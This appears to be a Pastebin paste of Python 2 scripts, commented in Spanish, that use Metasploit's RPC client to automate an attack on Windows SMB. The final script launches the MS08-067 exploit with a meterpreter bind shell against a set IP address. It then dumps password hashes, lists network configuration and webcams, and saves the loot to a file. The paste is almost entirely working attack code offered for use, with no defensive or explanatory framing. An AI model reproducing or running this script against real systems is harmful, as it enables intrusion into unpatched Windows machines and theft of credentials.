Advertisement
Guest User

Untitled

a guest
Jul 1st, 2017
107
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.51 KB | None | 0 0
  1. from metasploit.msfrpc import MsfRpcClient
  2.  
  3. cli = MsfRpcClient(username="demo", password="demo",server="192.168.8.59",port=55553,ssl=False)
  4.  
  5. lista = cli.modules.exploits
  6. for m in lista:
  7. if "windows" in m:
  8. if "smb" in m:
  9. print m
  10.  
  11.  
  12.  
  13. from metasploit.msfrpc import MsfRpcClient
  14. #import time
  15.  
  16. #msfrpcd -U msf -P test -f
  17. cli = MsfRpcClient(username="msf", password="test")
  18. lista = cli.modules.exploits
  19. exploit = cli.modules.use('exploit', 'windows/smb/ms08_067_netapi')
  20. print exploit.description
  21. print exploit.required
  22.  
  23.  
  24.  
  25. from metasploit.msfrpc import MsfRpcClient
  26. import time
  27.  
  28.  
  29. def save(contenido):
  30. narchivo = ("resultado-" + time.strftime("%Y-%m-%d_%H:%M") +
  31. ".txt")
  32. file = open(narchivo, "w")
  33. file.write(contenido)
  34. print "Resultado guardado en " + narchivo
  35.  
  36.  
  37.  
  38. #msfrpcd -U msf -P test -f
  39. ip_remota = '192.168.1.208'
  40. cli = MsfRpcClient(username="msf", password="test")
  41. lista = cli.modules.exploits
  42. exploit = cli.modules.use('exploit', 'windows/smb/ms08_067_netapi')
  43. exploit['RHOST'] = ip_remota
  44. exploit.execute(payload='windows/meterpreter/bind_tcp')
  45. #print cli.sessions.list
  46. if not cli.sessions.list:
  47. print 'no hay sesiones activas aun'
  48. else:
  49. print cli.sessions
  50. shell = cli.sessions.session(1)
  51. shell.write("hashdump")
  52. buff = shell.read()
  53. shell.write("ipconfig")
  54. buff += shell.read()
  55. shell.write("webcam_list")
  56. buff += shell.read()
  57. shell.write("idletime")
  58. buff += shell.read()
  59. print buff
  60. save(buff)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement